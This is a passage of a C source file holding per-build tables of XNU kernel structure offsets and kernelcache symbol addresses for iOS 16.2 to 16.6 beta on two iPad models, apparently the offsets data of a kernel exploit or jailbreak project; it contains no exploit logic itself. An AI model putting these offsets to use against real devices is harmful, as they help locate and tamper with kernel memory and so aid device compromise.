0xfffffff0078401b0,\n            .kernelcache__gPhysSize = 0xfffffff0078401b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffff00783e390,\n            .kernelcache__perfmon_devices = 0xfffffff00a4083b0,\n            .kernelcache__perfmon_dev_open = 0xfffffff007ef40f4,\n            .kernelcache__ptov_table = 0xfffffff0077f33b8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a407800,\n            .kernelcache__vm_pages = 0xfffffff0077f00d0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077f2368,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4077f8,\n            .kernelcache__vn_kqfilter = 0xfffffff007f466a0,\n        },\n\n        // iOS 16.3.1\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:52 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8101\",\n            .build_version = \"20D67\",\n            .device_id = \"iPad13,18\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a3cd190,\n            .kernelcache__gPhysBase = 0xfffffff0078401b0,\n            .kernelcache__gPhysSize = 0xfffffff0078401b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffff00783e390,\n            .kernelcache__perfmon_devices = 0xfffffff00a4083b0,\n            .kernelcache__perfmon_dev_open = 0xfffffff007ef40f4,\n            .kernelcache__ptov_table = 0xfffffff0077f33b8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a407800,\n            .kernelcache__vm_pages = 0xfffffff0077f00d0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077f2368,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4077f8,\n            .kernelcache__vn_kqfilter = 0xfffffff007f466a0,\n        },\n\n        // iOS 16.4\n            {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:59 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8101\",\n            .build_version = \"20E246\",\n            .device_id = \"iPad13,18\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a48d208,\n            .kernelcache__gPhysBase = 0xfffffff00791ffc0,\n            .kernelcache__gPhysSize = 0xfffffff00791ffc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffff00791e198,\n            .kernelcache__perfmon_devices = 0xfffffff00a4cb520,\n            .kernelcache__perfmon_dev_open = 0xfffffff007f0c64c,\n            .kernelcache__ptov_table = 0xfffffff0078d3188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4ca990,\n            .kernelcache__vm_pages = 0xfffffff0078cfeb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078d2128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4ca988,\n            .kernelcache__vn_kqfilter = 0xfffffff007f5b538,\n        },\n\n        // iOS 16.4.1\n            {\n            .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:59 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8101\",\n            .build_version = \"20E252\",\n            .device_id = \"iPad13,18\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a48d208,\n            .kernelcache__gPhysBase = 0xfffffff00791ffc0,\n            .kernelcache__gPhysSize = 0xfffffff00791ffc0 + 8,\n            .kernelcache__gVirtBase = 0xfffffff00791e198,\n            .kernelcache__perfmon_devices = 0xfffffff00a4cb520,\n            .kernelcache__perfmon_dev_open = 0xfffffff007f0c64c,\n            .kernelcache__ptov_table = 0xfffffff0078d3188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4ca990,\n            .kernelcache__vm_pages = 0xfffffff0078cfeb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078d2128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4ca988,\n            .kernelcache__vn_kqfilter = 0xfffffff007f5b538,\n        },\n\n        // iOS 16.5\n            {\n            .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:08:42 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8101\",\n            .build_version = \"20F66\",\n            .device_id = \"iPad13,18\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a499288,\n            .kernelcache__gPhysBase = 0xfffffff007920100,\n            .kernelcache__gPhysSize = 0xfffffff007920100 + 8,\n            .kernelcache__gVirtBase = 0xfffffff00791e2d8,\n            .kernelcache__perfmon_devices = 0xfffffff00a4d7520,\n            .kernelcache__perfmon_dev_open = 0xfffffff007f0c84c,\n            .kernelcache__ptov_table = 0xfffffff0078d3188,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a4d6990,\n            .kernelcache__vm_pages = 0xfffffff0078cfeb8,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078d2128,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4d6988,\n            .kernelcache__vn_kqfilter = 0xfffffff007f5b9d0,\n        },\n\n        // iOS 16.6b1\n            {\n            .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:36 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8101\",\n            .build_version = \"20G5026e\",\n            .device_id = \"iPad13,18\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x730,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x628,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x410,\n            .thread__object_size = 0x4b8,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a549ab0,\n            .kernelcache__gPhysBase = 0xfffffff0079382a8,\n            .kernelcache__gPhysSize = 0xfffffff0079382a8 + 8,\n            .kernelcache__gVirtBase = 0xfffffff007936460,\n            .kernelcache__perfmon_devices = 0xfffffff00a589550,\n            .kernelcache__perfmon_dev_open = 0xfffffff007f3508c,\n            .kernelcache__ptov_table = 0xfffffff0078eb9c8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a588910,\n            .kernelcache__vm_pages = 0xfffffff0078e8108,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078ea968,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a588908,\n            .kernelcache__vn_kqfilter = 0xfffffff007f83be0,\n        },\n\n\n        // iPad 10th gen //\n    // iOS 16.2\n        {\n            .kern_version = \"Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:55 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8101\",\n            .build_version = \"20C65\",\n            .device_id = \"iPad13,19\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a3c5190,\n            .kernelcache__gPhysBase = 0xfffffff0078400c8,\n            .kernelcache__gPhysSize = 0xfffffff0078400c8 + 8,\n            .kernelcache__gVirtBase = 0xfffffff00783e2a8,\n            .kernelcache__perfmon_devices = 0xfffffff00a4003b0,\n            .kernelcache__perfmon_dev_open = 0xfffffff007ef41c4,\n            .kernelcache__ptov_table = 0xfffffff0077f3378,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3ff800,\n            .kernelcache__vm_pages = 0xfffffff0077f0090,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077f2328,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3ff7f8,\n            .kernelcache__vn_kqfilter = 0xfffffff007f46780,\n        },\n\n        // iOS 16.3\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:52 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8101\",\n            .build_version = \"20D47\",\n            .device_id = \"iPad13,19\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            .task__object_size = 0x630,\n            .thread__task_threads__next = 0x378 - 0x18,\n            .thread__task_threads__prev = 0x378 - 0x18 + 8,\n            .thread__map = 0x378,\n            .thread__thread_id = 0x418,\n            .thread__object_size = 0x4c0,\n            .uthread__object_size = 0x200,\n            .vm_map_entry__links__prev = 0x00,\n            .vm_map_entry__links__next = 0x08,\n            .vm_map_entry__links__start = 0x10,\n            .vm_map_entry__links__end = 0x18,\n            .vm_map_entry__store__entry__rbe_left = 0x20,\n            .vm_map_entry__store__entry__rbe_right = 0x28,\n            .vm_map_entry__store__entry__rbe_parent = 0x30,\n            .vnode__v_un__vu_specinfo = 0x78,\n            ._vm_map__hdr__links__prev = 0x00 + 0x10,\n            ._vm_map__hdr__links__next = 0x08 + 0x10,\n            ._vm_map__hdr__links__start = 0x10 + 0x10,\n            ._vm_map__hdr__links__end = 0x18 + 0x10,\n            ._vm_map__hdr__nentries = 0x30,\n            ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n            ._vm_map__pmap = 0x40,\n            ._vm_map__hint = 0x90 + 0x08,\n            ._vm_map__hole_hint = 0x90 + 0x10,\n            ._vm_map__holes_list = 0x90 + 0x18,\n            ._vm_map__object_size = 0xc0,\n            .kernelcache__kernel_base = 0xfffffff007004000,\n            .kernelcache__cdevsw = 0xfffffff00a3cd190,\n            .kernelcache__gPhysBase = 0xfffffff0078401b0,\n            .kernelcache__gPhysSize = 0xfffffff0078401b0 + 8,\n            .kernelcache__gVirtBase = 0xfffffff00783e390,\n            .kernelcache__perfmon_devices = 0xfffffff00a4083b0,\n            .kernelcache__perfmon_dev_open = 0xfffffff007ef40f4,\n            .kernelcache__ptov_table = 0xfffffff0077f33b8,\n            .kernelcache__vm_first_phys_ppnum = 0xfffffff00a407800,\n            .kernelcache__vm_pages = 0xfffffff0077f00d0,\n            .kernelcache__vm_page_array_beginning_addr = 0xfffffff0077f2368,\n            .kernelcache__vm_page_array_ending_addr = 0xfffffff00a4077f8,\n            .kernelcache__vn_kqfilter = 0xfffffff007f466a0,\n        },\n\n        // iOS 16.3.1\n            {\n            .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:52 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8101\",\n            .build_version = \"20D67\",\n            .device_id = \"iPad13,19\",\n            .fileglob__fg_ops = 0x28,\n            .fileglob__fg_data = 0x40 - 8,\n            .fileops__fo_kqfilter = 0x30,\n            // .fileproc__fp_iocount = 0x0000,\n            // .fileproc__fp_vflags = 0x0004,\n            // .fileproc__fp_flags = 0x0008,\n            // .fileproc__fp_guard_attrs = 0x000a,\n            // .fileproc__fp_glob = 0x0010,\n            // .fileproc__fp_guard = 0x0018,\n            // .fileproc__object_size = 0x0020,\n            .fileproc_guard__fpg_guard = 0x8,\n            .kqworkloop__kqwl_state = 0x10,\n            .kqworkloop__kqwl_p = 0x18,\n            .kqworkloop__kqwl_owner = 0xd0,\n            .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n            .kqworkloop__object_size = 0x108,\n            .pmap__tte = 0x0,\n            .pmap__ttep = 0x8,\n            .proc__p_list__le_next = 0x0,\n            .proc__p_list__le_prev = 0x8,\n            .proc__p_pid = 0x60,\n            .proc__p_fd__fd_ofiles = 0xf8,\n            .proc__object_size = 0x538,\n            .pseminfo__psem_usecount = 0x04,\n            .pseminfo__psem_uid = 0x0c,\n            .pseminfo__psem_gid = 0x10,\n            .pseminfo__psem_name = 0x14,\n            .pseminfo__psem_semobject = 0x38,\n            // .psemnode__pinfo = 0x0000,\n            // .psemnode__padding = 0x0008,\n            // .psemnode__object_size = 0x0010,\n            .semaphore__owner = 0x28,\n            .specinfo__si_rdev = 0x18,\n            .task__map = 0x28,\n            .task__threads__next = 0x80 - 0x28,\n            .task__threads__prev = 0x80 - 0x28 + 8,\n            .task__itk_space = 0x300,\n            